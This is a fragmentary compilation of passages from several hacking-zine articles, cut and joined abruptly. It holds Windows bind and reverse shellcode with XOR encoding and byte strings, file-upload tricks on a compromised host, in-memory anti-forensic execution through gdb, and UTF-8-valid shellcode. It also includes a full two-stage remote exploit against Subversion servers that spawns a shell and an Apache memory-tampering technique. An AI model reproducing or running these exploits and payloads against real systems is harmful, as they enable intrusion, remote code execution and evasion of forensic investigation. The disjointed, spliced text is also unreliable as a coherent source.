label1: pop eax
450005: ... (eax = 451005)
Most likely you will find something similar to the code below in a
shellcode, which does about the same thing.
fldz
fnstenv [esp-12]
pop ecx
add cl, 10
nop
ECX will hold the address of the EIP. However, these instructions
will generate non-standard ASCII characters.
Buffer overflow usually will not allow NULL and a few special
characters. We can avoid using these characters by encoding our
shellcode. The easiest encoding scheme is the XOR encoding. In this
encoding, we will XOR each char in our shellcode with a predefined
value. During execution, a decoder will translate the rest of the
code back to real instruction by XOR it again with the predefined
value. As shown here, we can set the number of byte we want to decode
in ecx, and while eax is pointing to the starting point of our
encoded shellcode. We xor the destination byte by byte with 0x96
until the loop over. There are other more advance encoding schemes,
of cause. We can use a DWORD xor value instead of a char to encode 4
bytes at a time. We also may break the code apart by encoding them
using a different xor key. All with the purpose to get rid of
unusable chars in our shellcode.
After the decoding process, we will jump into the memory area where
the decoded shellcode start to continue our execution. Before we can
do anything useful, we must locate the address of all APIs that we
need to use and store it in a jump table. We are not going to use any
fixed address to API because it is different between service packs.
To get the address of API we need, we can use an API called
GetProcAddress(). By supplying the name of the function we need to
this API, it will return the address where we can call to use it. To
obtain the address of GetProcAddress() itself, we can search the
export table of the Kernel32.dll in the memory. Kernel32.dll image is
located predefined in a memory location depending on the OS.
* NT - 0x77f00000
* 2kSP2 & SP3 - 0x77e80000
* WinXP - 0x77e60000
For each address in the jump table, we will check if the destination
name is match with "GetProcAddress". If not, we increase EAX by one
and continue searching. Once we found a match, EAX will be holding
our counter. Using the following formula, we can obtain the real
address of GetProcAddress().
loadaddr:
mov al,byte ptr [esi]
inc esi
test al,al
jne loadaddr ;loop till we found a NULL
push ecx
push edx
push esi
push ebx
call edx ;GetProcAddress(DLL, API_Name);
pop edx
pop ecx
stosd ;write the output to EDI
loop loadaddr ;loop to get other APIs
ret
Once we have gone thru those troublesome API address loading, we can
finally do something useful. To spawn a shell in Windows, we need to
call the CreateProcess() API. To use this API, we need to set up the
STARTUPINFO in such a way that, the input, output and error handler
will be redirected to a socket. We also will set the structure so
that the process will have no window. With the structure setup, we
just need to call CreateProcess to launch "cmd.exe" to get an
interactive command shell in windows.
;ecx is 0
mov byte ptr [ebp],44h ;STARTUPINFO size
mov dword ptr [ebp+3Ch],ebx ;output handler
mov dword ptr [ebp+38h],ebx ;input handler
mov dword ptr [ebp+40h],ebx ;error handler
;STARTF_USESTDHANDLES |STARTF_USESHOWWINDOW
mov word ptr [ebp+2Ch],0101h
lea eax,[ebp+44h]
push eax
push ebp
push ecx
push ecx
push ecx
inc ecx
push ecx
dec ecx
push ecx
push ecx
push esi
push ecx
call dword ptr [edi-28] ;CreateProcess
The Code section in the end of the paper contains source code
bind.asm. bind.asm is a complete shellcode written in Assembly
Language which will create a shell in Windows and bind it to a
specific port. Compile bind.asm:
# tasm -l bind.asm
If we open bind.obj with a hex editor, we will see that the object
code start with something similar to this:
Our shellcode start with hex code of 0xEB, 0x02 as show in line 12 of
the partial hex dump above. It will end with 0xC3 as shown in line 14.
We need to use a hex editor to remove the first 176 bytes and the
last 26 bytes. (You don't need to do this if you are using NASM
compiler, but the author has been using TASM since his MS-DOS age).
Now that we have the shellcode in its pure binary form, we just need
to build a simple program that read from this file and produce the
corresponding hex value in a C string. Refer to the Code section
(xor.cpp) for the code that will do that. The output of the program
is our shellcode in C string syntax:
# xor bind.obj
BYTE shellcode[436] = ""
"\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x58\x83\xC0\x1B\x8D\xA0\x01"
...
"\xE2\xEE\xC3";
* WSASocket()
* bind()
* listen()
* accept()
* slxploit.c
* aspcode.c
* aspx_brute.c
mov ebx,eax
mov word ptr [ebp],2
mov word ptr [ebp+2],5000h ;port
mov dword ptr [ebp+4], 0 ;IP
push 10h
push ebp
push ebx
call dword ptr [edi-12] ;bind
inc eax
push eax
push ebx
call dword ptr [edi-8] ;listen (soc, 1)
push eax
push eax
push ebx
call dword ptr [edi-4] ;accept
Compiling bind.asm will create shellcode (435 bytes) that will work
with any service pack. We will test the bind to port shellcode using
a simple testing program - testskode.cpp. Copy the shellcode (in C
string) generated the xor program and parse it into testskode.cpp:
__asm
{
mov eax,ma
int 3
jmp eax
}
free(ma);
We must include our IP and port number which the target must connect
to give a shell in the shellcode. We also must run netcat or anything
similar in advance, ready to accept connection. Of cause, we must be
using IP address which the victim machine is reachable. Thus, usually
we use public IP.
* WSASocket()
* connect()
* jill.c
* iis5asp_exp.c
* sqludp.c
* iis5htr_exp.c
push eax
push eax
push eax
push eax
inc eax
push eax
inc eax
push eax
call dword ptr [edi-8] ;WSASocketA
mov ebx,eax
mov word ptr [ebp],2
mov word ptr [ebp+2],5000h ;port in network byte order
mov dword ptr [ebp+4], 2901a8c0h ;IP in network byte order
push 10h
push ebp
push ebx
call dword ptr [edi-4] ;connect
# \tasm\bin\tasm -l reverse.asm
# xor reverse.obj
BYTE shellcode[384] = ""
"\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x58\x83\xC0\x1B\x8D\xA0\x01"
"\xFC\xFF\xFF\x83\xE4\xFC\x8B\xEC\x33\xC9\x66\xB9\x5B\x01\x80\x30"
"\x96\x40\xE2\xFA\xE8\x60\x00\x00\x00\x47\x65\x74\x50\x72\x6F\x63"
...
# xor reverse.obj 96
BYTE shellcode[384] = ""
"\x7D\x94\x7D\x93\x7E\x6F\x69\x69\x69\xCE\x15\x56\x8D\x1B\x36\x97"
"\x6A\x69\x69\x15\x72\x6A\x1D\x7A\xA5\x5F\xF0\x2F\xCD\x97\x16\xA6"
"\x00\xD6\x74\x6C\x7E\xF6\x96\x96\x96\xD1\xF3\xE2\xC6\xE4\xF9\xF5"
...
"\x56\xE3\x6F\xC7\xC4\xC0\xC5\x69\x44\xCC\xCF\x3D\x74\x78\x55";
We take bytes sequence from the 37th bytes onwards. Combine the
encoder and the xored shellcode, we will get the actual shellcode
that we can use in our exploit.
With the assumption that firewall has been configured with the
following rules:
http://users.pandora.be/0xffffffce/scanit/tools/sc_aspcmd.c
http://www.eeye.com/html/research/advisories/AL20010804.html
* Find socket
* Reuse address socket
* Rebind socket
Most WinSock API requires only the socket descriptor for its
operation. So, we need to find this descriptor. In our implementation,
we loop from 0x80 onwards. This number is chosen because socket
descriptors below 0x80 are usually not relevant to our network
connection. In our experience, using socket descriptor below 0x80 in
WinSock API sometimes crash our shellcode due to lack of Stack space.
We will get the destination port of the network connection for each
socket descriptor. It is compared with a known value. We hard coded
this value in our shellcode. If there is a match, we found our
connection. However, socket may not be a non-overlapping socket.
Depending on the program that created the socket, there is
possibility that the socket we found is an overlapping socket. If
this is the case, we cannot use it directly as in/out/err handler in
CreateProcess(). To get an interaction communication from this type
of socket, we can anonymous pipe. Description on using anonymous pipe
in shellcode can be found in article by Dark Spyrit
(http://www.phrack.org/show.php?p=55&a=15) and LSD (http://lsd-
pl.net/windows_components.html).
xor ebx,ebx
mov bl,80h
find:
inc ebx
mov dword ptr [ebp],10h
lea eax,[ebp]
push eax
lea eax,[ebp+4]
push eax
push ebx ;socket
call dword ptr [edi-4] ;getpeername
cmp word ptr [ebp+6],1234h ;myport
jne find
found:
push ebx ;socket
Once this is done, we just need to connect to the port number of the
vulnerable service to get a shell. It is also interesting to note
that Win32 allow any user to connect to port below 1024. Thus, we can
use this method even if we get IUSR or IWAM account.
* WSASocketA()
* setsockopt()
* bind()
* listen()
* accept()
To get around with this, we need to fork our shellcode into a new
process. The new process will bind to a specific port as soon as it
is available. The vulnerable service will be forcefully terminated.
The new shellcode in the separate process will loop constantly trying
to bind to port of the vulnerable service. However, until we
successfully terminate the vulnerable machine it will not be able to
continue.
One of the most common things to do after you break into a box is to
upload or download files. We usually download files from our target
as proof of successful penetration testing. We also often upload
additional tools to the server to use it as an attacking point to
attack other internal server.
* ftp -s:script
* tftp -i myserver GET file.exe
We can create text file in our target system using the echo command.
But we can't use echo to create binary file, not with the help from
debug.exe. It is possible to reconstructing binary using debug.exe.
Consider the following commands:
C:\>echo nbell.com>b.s
C:\>echo a>>b.s
C:\>echo dw07B8 CD0E C310>>b.s
C:\>echo.>>b.s
C:\>echo R CX>>b.s
C:\>echo 6 >>b.s
C:\>echo W>>b.s
C:\>echo Q>>b.s
C:\>debug<b.s
1. Create a VBS script that will read hex code from a file and
rewrite it as binary.
2. Upload the script to target using "echo" command.
3. Read file to be uploaded, and "echo" the hex code to a file in
the target server.
4. Run the VBS script to translate hex code to binary.
A sample script like below can be use to read any binary file and
create the correspondence ASC printable hex code file.
Once we have the ability to upload file to the machine, we can upload
a Base64 encoder to the target machine. We will use this encoder to
encode any file into a printable Base64 format. We can easily print
the output of the Base64 encoded in command line and capture the text.
Once we have the complete file in Base64, we will save that into a
file in our machine. Using WinZip or any Base64 decoder, we can
convert that file back into its binary form. The following command
allows us to retrieve any file in our target machine:
http://www.snort.org/snort-db/sid.html?sid=2123
# dir
Volume in drive C is Cool
Volume Serial Number is SKSK-6622
# set DIRCMD=/b
# dir
ReadMe.txt
http://www.snort.org/snort-db/sid.html?sid=494
If we exit our shellcode now, we can attack the machine via the
Workstation exploit again.
--[ 9 Greetz!
There are many good fellows we would like to thank for their
continuous source of information to feed our hunger for knowledge.
Without these guys, the security field will be boring.
Greets to the gurus: HD Moore! Halvar! HSJ! Michal, Adam and the rest
of LSD! (David) Mnemonic! Dave Aitel! EEYE! Brett Moore! And many
others Blackhat speakers for their excellence research!
--[ 10 References
* More shellcode!
HD Moore - http://www.metasploit.com
* Advance payload:
CORE Security
* Inlineegg
(http://oss.coresecurity.com/projects/inlineegg.html)
* LSD (http://www.hivercon.com/hc02/talk-lsd.htm)
* Eeye (http://www.blackhat.com/html/win-usa-03/win-usa-03-
speakers.html#Riley Hassel)
==Phrack Inc.==
|=-----=[ FIST! FIST! FIST! Its all in the wrist: Remote Exec ]=---------=|
|=-----------------------------------------------------------------------=|
|=--------------------------=[ by grugq ]=------------------------------=|
1 - Abtract
2 - Introduction
3 - Principles
4 - Background
5 - Requirements
6 - Design and Implementation
6.1 - gdbprpc
6.2 - ul_exec
7 - Conclusion
8 - Greets
9 - Bibliography
10 - SourceC0de
---[ 1 - Abstract
---[ 2 - Introduction
The rest of this paper will explore data contraception, looking first at
the core principles of data contaception, then at the requirements for a
data contraception tool, and finally the design and implemenation of such a
tool: rexec (remote exec).
--[ 3 - Principles
The first principle of data contraception, keeping data off the disk, is
most important when dealing with files that interact directly with the
operating system such as binaries, LKMs and scripts. The second principle
is for guidance when implementing the first principle, and it ensures that
any data which does touch the disk is of limited value to a forensic
analyst.
Operating in memory only is not a new technique and its already fairly well
understood with regards to rootkit development. However, using in memory
only techniques during a penetration is not as thoroughly documented in the
literature. Within rootkit technologies, the most frequently encountered
technique for operating in memory is to use ptrace() to attach to an
existing process and inject code into it's address space. Additionaly,
injecting kernel modules directly into the kernel is also a well known
technique. This paper will focus on developing in memory systems for
penetration tools.
[------------------------------------------------------------------------]
#!/usr/bin/gawk -f
BEGIN {
Port = 8080
Prompt = "bkd> "
Using these two core principles of data contraception, the rest of this
paper will examine some existing data contraception tools, along with the
design and implementation of remote exec: rexec.
---[ 4 - Background
---[ 5 - Requirements
With data contraception, any action which requires the creation of a file
is to be avoided. The most common reason for requiring a file is to execute
a binary. Building a tool which can execute an arbitrary binary on a remote
host leaves open any number of possible implementations. The requirements
need to be narrowed down to a manageable set using the principles of data
contracteption. From those requirements it is then possible to develop a
design and implementation.
Firstly, the tool has to be able to run over any number of shell
connections, so the communications protocol between the client and server
should be ASCII text based. Using ASCII text will mean a slow protocol,
however robustness and effectiveness, rather than speed, are critical to
the performance of the tool in the real world.
Secondly, the IUD server has to be a common Unix utility rather than a
custom crafted tool. That way, the discovery of the server does not
indicate that the compromised machine has been subjected to a data
contracteption attack. Using a common utility rather than writing a custom
tool means that the IUD server will not be intellegent in how it operates.
Based on the preceeding requirements, its clear that the client has to be
complex to compensate for the dumb server. This is acceptable because the
user of a data contraception tool will have complete control over at least
one machine.
A library to load ELF binaries from memory into an existing address space
already exists: ul_exec. Using ul_exec allows the tool to simply upload a
copy of ul_exec and the binary, then transfer control to ul_exec().
Therefore, in order to implement the data contraception tool, all that is
required is a suitable IUD.
A suitable IUD would have to be a common Unix utility which can manipulate
registers and memory and accepts commands as text. There is one obvious
solution: gdb. The GNU debugger uses text commands to interact with, and
operate on, a slave child process.
To interface with gdb, a library was written which creates wrappers for the
core functions of an IUD. These are memory and register access, and control
over the execution of various regions of code. This library, gdbrpc,
creates an arbitrary slave child process for an address space to
manipulate.
Copying data into and out of a slave process is accomplished using the
functions:
In order for the ul_exec library to be correctly loaded into the address
space it needs to be relocated to the load address. This is done internally
within rexec. First, rexec allocates the space for the library in the
remote address space with rpg_mmap(). The address of that space is then
used to relocate an internally loaded copy of the ul_exec library, and the
resultant relocated library is then loaded remotely.
With the ul_exec library loaded in an address space, all that is required
is creating a memory buffer containing the desired ELF binary. This is
trivially accomplished using rgp_mmap() and rgp_copy_to().
--[ 7 - Conclusion
Along with the other two anti-forensic strategies, data destruction and
data hiding, data contraception helps an attacker reduce the effectiveness
of a forensic analysis. Data contraception attack techniques have been used
frequently in the past, although without the articulation of the formalised
core principlies. These two principles, operating in memory to keep data
off the disk, and using common utilities rather than incriminating custom
crafted tools, form the core of the data contraception strategy. A frequent
component of data contraception attacks is an IUD, which acts as a server
providing the client access to the operating system without altering the
file system.
A tool which implements a data contraception attack, remote exec, uses gdb
as an IUD providing access to a slave process' address space. Accessing rexec
requires a complex client which can gain access to a pty based shell. A tool
to encapsulate the rexec protocol has been developed: xsh. The "eXploit
SHell" is embedded within screen and provides a rich data contraception
environment for penetration time anti forensic attacks.
--[ 8 - Greets
gera, mammon, grendel PhD, xvr, a_p, _dose, "the old man", apach3, random,
joey, mikasoft, eugene.
--[ 9 - Bibliography
--[ 10 - SourceC0de
==Phrack Inc.==
1 - Abstract
2 - What is UTF-8?
2.1 - UTF-8 in detail
2.2 - Advantages of using UTF-8
5 - A working example
5.1 - The original shellcode
5.2 - UTF-8-ify
5.3 - Let's try it out
5.4 - A real exploit using these techniques
6. - Considerations
6.1 - Automated shellcode transformer
6.2 - UTF-8 in XML-files
- ---[ 1. Abstract
I will show you a brief introduction into UTF-8 and will outline the
characters available for building shellcodes. You will see that it's
generally possible to make any shellcode valid UTF-8, but you will have
to think quite a bit. A working example is provided at the end for
reference.
- ----------------------------------------------------------------------------
For a really great introduction into the topic, I highly suggest reading
the "UTF-8 and Unicode FAQ" [1] by Markus Kuhn.
Unicode characters are written like this: U-0000007F, which stands for
"the 128th character in the Unicode character space". You can see that
with this representation one can easily represent all 2^31 characters that
the Unicode-standard defines, but it's a waste of space (when you write
English or western text) and - much more important - makes the transition
to Unicode very hard (convert all the files you already have). "Hello"
would thus be encoded like:
which is in hex:
"Hello"
:-)
110xxxxx 10xxxxxx
+ 11 000100
-----------------
11000011 10000100
The same here. According to the table above, we need 3 bytes to encode
this character.
So, since we know now that UTF-8 is going to save our day in the future,
why would we need shellcodes that are valid UTF-8 texts?
Well, UTF-8 is the default encoding for XML, and since more and more
protocols start using XML and more and more networking daemons use these
protocols, the chances to find a vulnerability in such a program
increases. Additionally, applications start to pass user input around
encoded in UTF-8. So sooner or later, you will overflow a buffer with
UTF-8-data. Now you want that data to be executable AND valid UTF-8.
Well, without that rule, we could encode the character U+0000000A (line
feed) in many different ways:
1100000x (10xxxxxx)
11100000 100xxxxx (10xxxxxx)
11110000 1000xxxx (10xxxxxx 10xxxxxx)
11111000 10000xxx (10xxxxxx 10xxxxxx 10xxxxxx)
11111100 100000xx (10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx)
Now certain sequences become invalid, for example 0xC0 0xAF, because
the resulting UNICODE character is not encoded in its shortest form.
- ---] 3.1.3. Valid UTF-8 sequences
Now that we know all this, we can tell which sequences are valid
UTF-8:
Code Points 1st Byte 2nd Byte 3rd Byte 4th Byte
U+0000..U+007F 00..7F
U+0080..U+07FF C2..DF 80..BF
U+0800..U+0FFF E0 A0..BF 80..BF
U+1000..U+FFFF E1..EF 80..BF 80..BF
U+10000..U+3FFFF F0 90..BF 80..BF 80..BF
U+40000..U+FFFFF F1..F3 80..BF 80..BF 80..BF
U+100000..U+10FFFF F4 80..8F 80..BF 80..BF
- ----------------------------------------------------------------------------
Before you start, be sure that you are comfortable creating "standard"
shellcode, i.e. shellcode that has no limitations in the instructions
available.
We know which characters we can use and that we have to pay attention to
the character sequence. Basically, we can transform any shellcode to
UTF-8 compatible shellcode, but we often need some tricks.
We start with \x31. No problem here, \x31 is between \x00 and \x7f,
so we don't need any more continuation bytes. \xc9 is next. Woops -
it is between \xc2 and \xdf, so we need a continuation byte. What
byte is next? \x31 - that is no valid continuation byte (which
have to be between \x80 and \xbf). So we have to insert an instruction
here that doesn't harm our code *and* makes the sequence UTF-8-
compatible.
The other way round, you often have instructions that start with a
continuation byte, i.e. the first byte of the instruction is between
\x80 and \xbf:
That means you have to find an instruction that is only one byte long
and lies between \xc2 and \xdf.
The most suitable one I found here is SALC [2]. This is an *undocumented*
Intel opcode, but every Intel CPU (and compatible) supports it. The
funny thing is that even gdb reports an "invalid opcode" there. But it
works :) The opcode of SALC is \xd6 so it suits our purpose well.
The bad thing is that it has side effects. This instruction modifies
%al depending on the carry flag (see [3] for details). So always think
about what happens to your %eax register when you insert this instruction!
Back to the example, the following modification makes the sequence valid
UTF-8:
If you are lucky, instructions that begin with continuation bytes follow
instructions that need continuation bytes, so you can chain them together,
without inserting extra bytes.
You can often safe space this way just by rearranging instructions, so
think about it when you are short of space.
(pop %eax has an instruction code of its own - and a very UTF-8 friendly
one, too :)
How can you test the code? Use iconv, it comes with the glibc. You
basically convert the UTF-8 to UTF-16, and if there are no error
messages then the string is valid UTF-8. (Why UTF-16? UTF-8 sequences
can yield character codes well beyond 0xFF, so the conversion would
fail in the other direction if you would convert to LATIN1 or ASCII.
Drove me nuts some time ago, because I always thought my UTF-8 was
wrong...)
- ----------------------------------------------------------------------------
The code simply prepares the stack in the right way, sets some registers
and jumps into kernel space (int $0x80).
That's an easy example, no big obstacles here. The only obvious problem
is the "mov $0xb,%eax" instruction. I am quite lazy now, so I'll just
copy %edx (which is guaranteed to contain 0 at this time) to %eax and
increase it 11 times :)
The new shellcode looks like this (wrapped into a C program so you
can try it out):
- ----------8<------------8<-------------8<------------8<---------------
#include <stdio.h>
char shellcode[]=
"\x31\xd2" // xor %edx,%edx
"\x90" // nop (UTF-8 - because previous byte was 0xd2)
"\x52" // push %edx
"\x68\x6e\x2f\x73\x68" // push $0x68732f6e
"\x68\x2f\x2f\x62\x69" // push $0x69622f2f
"\xd6" // salc (UTF-8 - because next byte is 0x89)
"\x89\xe3" // mov %esp,%ebx
"\x90" // nop (UTF-8 - two nops because of 0xe3)
"\x90" // nop (UTF-8)
"\x52" // push %edx
"\x53" // push %ebx
"\xd6" // salc (UTF-8 - because next byte is 0x89)
"\x89\xe1" // mov %esp,%ecx
"\x90" // nop (UTF-8 - same here)
"\x90" // nop (UTF-8)
"\x52" // push %edx
"\x58" // pop %eax
"\x40" // inc %eax
"\x40" // inc %eax
"\x40" // inc %eax
"\x40" // inc %eax
"\x40" // inc %eax
"\x40" // inc %eax
"\x40" // inc %eax
"\x40" // inc %eax
"\x40" // inc %eax
"\x40" // inc %eax
"\x40" // inc %eax
"\xcd\x80" // int $0x80
;
void main()
{
int *ret;
FILE *fp;
fp=fopen("out","w");
fwrite(shellcode,strlen(shellcode),1,fp);
fclose(fp);
ret=(int *)(&ret+2);
*ret=(int)shellcode;
}
- ----------8<------------8<-------------8<------------8<---------------
Hooray! :-)
The recent date parsing buffer overflow in Subversion <= 1.0.2 led
me into researching these problems and writing the following exploit.
It isn't 100% finished; but it works against svn:// and http:// URLs.
The first shellcode stage is a hand crafted UTF-8-shellcode, that
searches for the socket file descriptor and loads a second stage shellcode
from the exploit and executes it. A real life example showing you that
these things actually work :)
- ----------8<------------8<-------------8<------------8<---------------
/*****************************************************************
* hoagie_subversion.c
*
* Remote exploit against Subversion-Servers.
*
* Author: greuff <[email protected]>
*
* Tested on Subversion 1.0.0 and 0.37
*
* Algorithm:
* This is a two-stage exploit. The first stage overflows a buffer
* on the stack and leaves us ~60 bytes of machine code to be
* executed. We try to find the socket-fd there and then do a
* read(2) on the socket. The exploit then sends the second stage
* loader to the server, which can be of any length (up to the
* obvious limits, of course). This second stage loader spawns
* /bin/sh on the server and connects it to the socket-fd.
*
* Credits:
* void.at
*
* THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-CONCEPT.
* THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY DAMAGE OR
* CRIMINAL ACTIVITIES DONE USING THIS PROGRAM.
*
*****************************************************************/
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <fcntl.h>
#include <netdb.h>
char stage2loader[]=
// dup2 - %ebx contains the fd
"\xb8\x3f\x00\x00\x00" // mov $0x3F, %eax
"\xb9\x00\x00\x00\x00" // mov $0x0, %ecx
"\xcd\x80" // int $0x80
"\xb8\x3f\x00\x00\x00" // mov $0x3F, %eax
"\xb9\x01\x00\x00\x00" // mov $0x1, %ecx
"\xcd\x80" // int $0x80
"\xb8\x3f\x00\x00\x00" // mov $0x3F, %eax
"\xb9\x02\x00\x00\x00" // mov $0x2, %ecx
"\xcd\x80" // int $0x80
// start /bin/sh
"\x31\xd2" // xor %edx, %edx
"\x52" // push %edx
"\x68\x6e\x2f\x73\x68" // push $0x68732f6e
"\x68\x2f\x2f\x62\x69" // push $0x69622f2f
"\x89\xe3" // mov %esp, %ebx
"\x52" // push %edx
"\x53" // push %ebx
"\x89\xe1" // mov %esp, %ecx
"\xb8\x0b\x00\x00\x00" // mov $0xb, %eax
"\xcd\x80" // int $0x80
"\xb8\x01\x00\x00\x00" // mov $0x1, %eax
"\xcd\x80" // int %0x80 (exit)
;
int stage2loaderlen=69;
char requestfmt[]=
"REPORT %s HTTP/1.1\n"
"Host: %s\n"
"User-Agent: SVN/0.37.0 (r8509) neon/0.24.4\n"
"Content-Length: %d\n"
"Content-Type: text/xml\n"
"Connection: close\n\n"
"%s\n";
char xmlreqfmt[]=
"<?xml version=\"1.0\" encoding=\"utf-8\"?>"
"<S:dated-rev-report xmlns:S=\"svn:\" xmlns:D=\"DAV:\">"
"<D:creationdate>%s%c%c%c%c</D:creationdate>"
"</S:dated-rev-report>";
ptr=strstr(uri,"://");
if(!ptr) return -1;
*ptr=0;
snprintf(bfr,sizeof(bfr),"%s",uri);
if(!strcmp(bfr,"http"))
*proto=HTTP, *port=80;
else if(!strcmp(bfr,"svn"))
*proto=SVN, *port=3690;
else
{
printf("Unsupported protocol %s\n",bfr);
return -1;
}
uri=ptr+3;
if((ptr=strchr(uri,':')))
{
*ptr=0;
snprintf(host,1000,"%s",uri);
uri=ptr+1;
if((ptr=strchr(uri,'/'))==NULL) return -1;
*ptr=0;
snprintf(bfr,1000,"%s",uri);
*port=(int)strtol(bfr,NULL,10);
*ptr='/';
uri=ptr;
}
else if((ptr=strchr(uri,'/')))
{
*ptr=0;
snprintf(host,1000,"%s",uri);
*ptr='/';
uri=ptr;
}
snprintf(repos,1000,"%s",uri);
return 0;
}
/*sock=open("output",O_CREAT|O_TRUNC|O_RDWR,0666);
write(sock,stage1loader,strlen(stage1loader));
close(sock);
return 0;*/
sock=socket(AF_INET,SOCK_STREAM,0);
if(sock<0)
{
perror("socket");
return -1;
}
he=gethostbyname(host);
if(he==NULL)
{
herror("gethostbyname");
return -1;
}
sin.sin_family=AF_INET;
sin.sin_port=htons(port);
memcpy(&sin.sin_addr.s_addr,he->h_addr,sizeof(he->h_addr));
if(connect(sock,(struct sockaddr *)&sin,sizeof(sin))<0)
{
perror("connect");
return -1;
}
if(proto==SVN)
{
size=read(sock,reply,sizeof(reply));
reply[size]=0;
printf("Server said: %s\n",reply);
snprintf(cmd,sizeof(cmd),"( 2 ( edit-pipeline ) %d:%s )
",strlen(svdcmdline),svdcmdline);
write(sock,cmd,strlen(cmd));
size=read(sock,reply,sizeof(reply));
reply[size]=0;
printf("Server said: %s\n",reply);
strcpy(cmd,"( ANONYMOUS ( 0: ) ) ");
write(sock,cmd,strlen(cmd));
size=read(sock,reply,sizeof(reply));
reply[size]=0;
printf("Server said: %s\n",reply);
snprintf(cmd,sizeof(cmd),"( get-dated-rev ( %d:%s%c%c%c%c ) )
",strlen(stage1loader)+4,stage1loader,
caddr[0],caddr[1],caddr[2],caddr[3]);
write(sock,cmd,strlen(cmd));
size=read(sock,reply,sizeof(reply));
reply[size]=0;
printf("Server said: %s\n",reply);
}
else if(proto==HTTP)
{
// preparing the request...
snprintf(buffer,sizeof(buffer),xmlreqfmt,stage1loader,
caddr[0],caddr[1],caddr[2],caddr[3]);
size=strlen(buffer);
snprintf(cmd,sizeof(cmd),requestfmt,repos,host,size,buffer);
// now sending the request, immediately followed by the 2nd stage loader
printf("Sending:\n%s",cmd);
write(sock,cmd,strlen(cmd));
sleep(1);
write(sock,stage2loader,stage2loaderlen);
}
// SHELL LOOP
printf("Entering shell loop...\n");
exec_sh(sock);
/*sleep(1);
close(sock);
printf("\nConnecting to the shell...\n");
exec_sh(connect_sh()); */
return 0;
}
- ----------8<------------8<-------------8<------------8<---------------
- ----------------------------------------------------------------------------
- ---] 6. Considerations
When you write UTF-8 shellcode for the purpose of sending it in an XML-
document, you'll have to care for a few more things. The bytes \x00 to
\x08 are forbidden in XML, as well as the obvious characters like '<',
'>' and so on. Don't forget that when you exploit your favourite XML-
processing app!
- ----------------------------------------------------------------------------
- ----------------------------------------------------------------------------
[1] http://www.cl.cam.ac.uk/~mgk25/unicode.html
[2] http://www.unicode.org/versions/corrigendum1.html
[3] http://www.x86.org/secrets/opcodes/salc.htm
[4] http://www.phrack.org/show.php?p=57&a=15
==Phrack Inc.==
--[ Contents
1 - Introduction
5 - A sample attack
7 - Keep it up
8 - Solution
9 - References
--[ 1 - Introduction
This paper will show a simple way to modify the memory layout from an
Apache [1] process. Most Webhosting Providers use PHP [2], Mod_perl [3] as
builtin Apache module to improve the web server performance. This method
is of course much faster than loading external programs or extensions (i.e.
running php in cgi mode). But on the other side this script runs in the
same memory space as the apache process so you can easily change
contents of memory.
There's one reason why all this stuff will work as good as it should.
Apache holds 5 children in memory (per default). After a HTTP request the
process will not be killed. Instead of exiting the current apache process
after closing the connection the next request will be processed by the
same process. So when you send a lot of requests to the apache server you
can "infect" every process.
Apache uses internal lists for it's virtual hosts. To speed up search
requests there is more than one list and a hash table for IP address
lookups. The information about every virtual host is stored in an object
from type server_rec.
[apache_1.3.29/src/include/httpd.h]
...
struct server_rec {
server_rec *next;
...
/* Contact information */
char *server_admin;
char *server_hostname;
unsigned short port; /* for redirects, etc. */
...
As you can see there are many interesting values we would like to change.
Imagine you are running a virtual host on the same web server as
http://www.evil.com. So you simply have to look for that virtual host and
change the variables.
So we know where Apache stores the virtual host information. Now we have to
find the list and structures that points to those server_rec objects. Lets
have a look where Apache initializes its virtual hosts.
[apache_1.3.29/src/main/http_vhost.c]
...
/* called at the beginning of the config */
API_EXPORT(void) ap_init_vhost_config(pool *p)
{
memset(iphash_table, 0, sizeof(iphash_table));
default_list = NULL;
name_vhost_list = NULL;
name_vhost_list_tail = &name_vhost_list;
}
...
As you can see there are two lists and one hash table. The hash table is
used for IP address lookups. The default_list contains _default_ server
entries and name_vhost_list contains all other virtual hosts. The objects
from the hash table have the following structure:
struct ipaddr_chain {
ipaddr_chain *next;
server_addr_rec *sar; /* the record causing it to be in
* this chain (need for both ip addr and port
* comparisons) */
server_rec *server; /* the server to use if this matches */
name_chain *names; /* if non-NULL then a list of name-vhosts
* sharing this address */
};
Then you have a list of virtual hosts names poiting to that IP address
(name_chain *names). And from that structure we can directly access the
virtual host data:
struct name_chain {
name_chain *next;
server_addr_rec *sar; /* the record causing it to be in
* this chain (needed for port comparisons) */
server_rec *server; /* the server to use on a match */
};
So the following code will find the correct vhost (variable host):
...
for (i = 0; i < IPHASH_TABLE_SIZE; i++) {
for (trav = iphash_table[i]; trav; trav = trav->next) {
for (n = trav->names; n != NULL; n = n->next) {
conf = ap_get_module_config(n->server->module_config,
&core_module);
if ( (host != NULL &&
!strcmp(host, n->server->server_hostname)) ||
host == NULL ){
php_printf("VirtualHost: [%s, %s, %s, %s]<br>\n",
n->sar->virthost,
n->server->server_admin,
n->server->server_hostname,
conf->ap_document_root);
}
}
}
}
...
So there are many ways to get the address of iphash_table. You can use
gdb, nm (when not stripped),..
If you dont have access to the apache binary you have to use another
method: In hoagie_apachephp.c there are some external defintions of apache
functions.
...
/* some external defintions to get address locations from memory */
extern API_EXPORT(void) ap_init_vhost_config(pool *p);
extern API_VAR_EXPORT module core_module;
...
So inside our module we already have the address for this functions and
can use the integrated disassembler to get the addresses.
iphash_table =
(ipaddr_chain **)getcall((char*)ap_init_vhost_config, "push", 3);
default_list =
(ipaddr_chain *)getcall((char*)ap_init_vhost_config, "mov", 1);
vhost1/:
total 332
drwxr-sr-x 2 andi andi 4096 May 6 14:20 .
drwxrwsr-x 7 root staff 4096 Apr 25 03:00 ..
